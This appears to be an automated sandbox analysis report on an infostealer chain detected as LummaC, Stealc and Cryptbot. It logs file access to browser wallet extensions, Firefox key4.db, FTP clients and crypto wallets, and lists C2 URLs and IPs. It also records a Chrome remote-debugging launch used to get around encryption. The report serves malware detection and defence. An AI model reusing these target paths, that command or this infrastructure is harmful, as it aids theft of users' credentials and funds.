Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Source: 9bf3542ba6.exe	Binary or memory string: WIN_81
Source: 9bf3542ba6.exe	Binary or memory string: WIN_XP
Source: 9bf3542ba6.exe, 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmp	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_11WIN_10WIN_2022WIN_2019WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\AppearanceUSERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYRegDeleteKeyExWadvapi32.dll+.-.\\[\\nrt]\|%%\|%[-+ 0#]?([0-9]\|\)?(\.[0-9]\|\.\)?[hlL]?[diouxXeEfgGs](*UCP)\XISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGGETCOUNTSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXPANDmsctls_statusbar321tooltips_class32%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----@GUI_DRAGID@GUI_DROPID@GUI_DRAGFILEError text not found (please report)Q\EDEFINEUTF16)UTF)UCP)NO_AUTO_POSSESS)NO_START_OPT)LIMIT_MATCH=LIMIT_RECURSION=CR)LF)CRLF)ANY)ANYCRLF)BSR_ANYCRLF)BSR_UNICODE)argument is not a compiled regular expressionargument not compiled in 16 bit modeinternal error: opcode not recognizedinternal error: missing capturing bracketfailed to get memory
Source: 9bf3542ba6.exe	Binary or memory string: WIN_XPe
Source: 9bf3542ba6.exe	Binary or memory string: WIN_VISTA
Source: 9bf3542ba6.exe	Binary or memory string: WIN_7
Source: 9bf3542ba6.exe	Binary or memory string: WIN_8

Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT

Source: Yara match	File source: 00000010.00000003.3319787378.000000000168E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.3355918791.000000000168E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 48f66b117f.exe PID: 4608, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 643ebf15b8.exe PID: 5412, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 48f66b117f.exe PID: 1408, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Credential Flusher

Source: Yara match	File source: 0000002B.00000002.3699710608.0000000001568000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 9bf3542ba6.exe PID: 7160, type: MEMORYSTR

Yara detected Cryptbot

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 48f66b117f.exe PID: 1408, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: 48f66b117f.exe PID: 4608, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 0000000F.00000002.3407023112.0000000000AD1000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.3410012636.000000000156E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000003.3264850725.0000000005290000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000003.3111470770.0000000005490000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 643ebf15b8.exe PID: 5412, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Code function: 17_2_00841204 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket,		17_2_00841204
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Code function: 17_2_00841806 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,		17_2_00841806

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	421 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	11 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Native API	2 Valid Accounts	1 DLL Side-Loading	11 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	2 Bypass User Account Control	3 Obfuscated Files or Information	Security Account Manager	13 File and Directory Discovery	SMB/Windows Admin Shares	21 Input Capture	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	11 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	12 Software Packing	NTDS	258 System Information Discovery	Distributed Component Object Model	3 Clipboard Data	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 PowerShell	Network Logon Script	2 Valid Accounts	1 DLL Side-Loading	LSA Secrets	1 Query Registry	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	21 Access Token Manipulation	2 Bypass User Account Control	Cached Domain Credentials	981 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	12 Process Injection	1 Extra Window Memory Injection	DCSync	471 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	1 Scheduled Task/Job	11 Masquerading	Proc Filesystem	3 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	11 Registry Run Keys / Startup Folder	2 Valid Accounts	/etc/passwd and /etc/shadow	11 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	471 Virtualization/Sandbox Evasion	Network Sniffing	1 System Owner/User Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	21 Access Token Manipulation	Input Capture	1 Remote System Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	12 Process Injection	Keylogging	Process Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	50%	ReversingLabs	Win32.Packed.Themida
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	39%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[2].exe	42%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	32%	ReversingLabs	Win32.Trojan.AutoitInject
C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	39%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	32%	ReversingLabs	Win32.Trojan.AutoitInject
C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	42%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	50%	ReversingLabs	Win32.Packed.Themida

Source	Detection	Scanner	Label
https://cook-rain.sbs/apiup	100%	Avira URL Cloud	malware
https://cook-rain.sbs/api?	100%	Avira URL Cloud	malware
http://www.inbox.lv/rfc2368/?value=%sresource://gre/modules/URIFixup.sys.mjsget	0%	Avira URL Cloud	safe
http://win.mail.ru/cgi-bin/sentmsg?mailto=%sresource://gre/modules/NetUtil.sys.mjsresource://gre/mod	0%	Avira URL Cloud	safe
http://185.215.113.16/off/def.exe3f	100%	Avira URL Cloud	phishing
https://cook-rain.sbs/F	100%	Avira URL Cloud	malware
http://exslt.org/dates-and-timesP5	0%	Avira URL Cloud	safe
http://185.215.113.16/off/random.exen	100%	Avira URL Cloud	phishing
http://185.215.113.43/Zu7JuNko/index.php001	100%	Avira URL Cloud	malware
http://185.215.113.206KKJ	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.php----AAKEGIJEHJDGDHJKJKKJogon.exe	100%	Avira URL Cloud	malware
https://cook-rain.sbs/apis/	100%	Avira URL Cloud	malware
https://cook-rain.sbs/2	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.php%	100%	Avira URL Cloud	malware
https://cook-rain.sbs/e	100%	Avira URL Cloud	malware
https://cook-rain.sbs/l	100%	Avira URL Cloud	malware
https://cook-rain.sbs/b	100%	Avira URL Cloud	malware
https://cook-rain.sbs/Z	100%	Avira URL Cloud	malware
https://profiler.firefox.comDEVTOOLS_POLICY_DISABLED_PREFto-handle-default-browser-agentdevtools/cli	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
example.org	93.184.215.14	true	false	high
home.fvtekk5pn.top	34.116.198.130	true	false	high
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false	high
mitmdetection.services.mozilla.com	13.32.99.66	true	false	high
fvtekk5pn.top	34.116.198.130	true	false	high
contile.services.mozilla.com	34.117.188.166	true	false	high
prod.content-signature-chains.prod.webservices.mozgcp.net	34.160.144.191	true	false	high
us-west1.prod.sumo.prod.webservices.mozgcp.net	34.149.128.2	true	false	high
ipv4only.arpa	192.0.0.171	true	false	high
prod.ads.prod.webservices.mozgcp.net	34.117.188.166	true	false	high
push.services.mozilla.com	34.107.243.93	true	false	high
www.google.com	142.250.186.164	true	false	high
star-mini.c10r.facebook.com	157.240.252.35	true	false	high
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false	high
prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true	false	high
twitter.com	104.244.42.193	true	false	high
cook-rain.sbs	188.114.97.3	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
dyna.wikimedia.org	185.15.59.224	true	false	high
prod.remote-settings.prod.webservices.mozgcp.net	34.149.100.209	true	false	high
youtube.com	142.250.186.46	true	false	high
youtube-ui.l.google.com	142.250.186.78	true	false	high
reddit.map.fastly.net	151.101.65.140	true	false	high
s-part-0032.t-0009.t-msedge.net	13.107.246.60	true	false	high
telemetry-incoming.r53-2.services.mozilla.com	34.120.208.123	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
www.reddit.com	unknown	unknown	false	high
spocs.getpocket.com	unknown	unknown	false	high
content-signature-2.cdn.mozilla.net	unknown	unknown	false	high
support.mozilla.org	unknown	unknown	false	high
firefox.settings.services.mozilla.com	unknown	unknown	false	high
www.youtube.com	unknown	unknown	false	high
www.facebook.com	unknown	unknown	false	high
detectportal.firefox.com	unknown	unknown	false	high
shavar.services.mozilla.com	unknown	unknown	false	high
www.wikipedia.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	false	high
http://home.fvtekk5pn.top/LCXOUUtXgrKhKDLYSbzW1732019347	false	high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	false	high
p10tgrace.sbs	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.openh264.org//	firefox.exe, 00000021.00000002.3374269106.0000025D87890000.00000002.00000001.00040000.0000001D.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.php001	skotes.exe, 0000000B.00000002.3707159436.0000000000AE7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://duckduckgo.com/chrome_newtab	48f66b117f.exe, 0000000E.00000003.3078826411.0000000005BD9000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 0000000E.00000003.3078683427.0000000005BDB000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3240891439.0000000005DAB000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3241259656.0000000005DA9000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3241712800.0000000005DA9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	48f66b117f.exe, 0000000E.00000003.3078826411.0000000005BD9000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 0000000E.00000003.3078683427.0000000005BDB000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3240891439.0000000005DAB000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3241259656.0000000005DA9000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3241712800.0000000005DA9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4	firefox.exe, 00000021.00000002.3579144635.0000025DFEA43000.00000004.00000800.00020000.00000000.sdmp	false		high
https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l	firefox.exe, 00000021.00000002.3612854721.0000025DFF8DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3331251111.0000025D8E927000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/apiup	48f66b117f.exe, 0000000E.00000003.3337363663.00000000014A8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl	firefox.exe, 00000021.00000002.3545267235.0000025D93303000.00000004.00000800.00020000.00000000.sdmp	false		high
https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records	firefox.exe, 00000021.00000002.3612854721.0000025DFF8AA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://merino.services.mozilla.com/api/v1/suggest	firefox.exe, 00000021.00000003.3240726414.0000025DFABDD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3612854721.0000025DFF8DD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://spocs.getpocket.com/spocs	firefox.exe, 00000021.00000002.3536912868.0000025D8ECB6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.com/exec/obidos/external-search/?field-keywords=&ie=UTF-8&mode=blended&tag=mozill	firefox.exe, 00000021.00000002.3539463660.0000025D8EF0B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ebay.com	firefox.exe, 00000021.00000002.3374269106.0000025D87890000.00000002.00000001.00040000.0000001D.sdmp	false		high
https://screenshots.firefox.com	firefox.exe, 00000021.00000002.3591525566.0000025DFEBB7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/api?	48f66b117f.exe, 00000010.00000003.3319787378.000000000168E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://completion.amazon.com/search/complete?q=	firefox.exe, 00000021.00000002.3551113866.0000025D93661000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3397930986.0000025D8B300000.00000002.08000000.00040000.00000000.sdmp	false		high
https://ads.stickyadstv.com/firefox-etp	firefox.exe, 00000021.00000002.3488488778.0000025D8C905000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3483618480.0000025D8C7A7000.00000004.00000800.00020000.00000000.sdmp	false		high
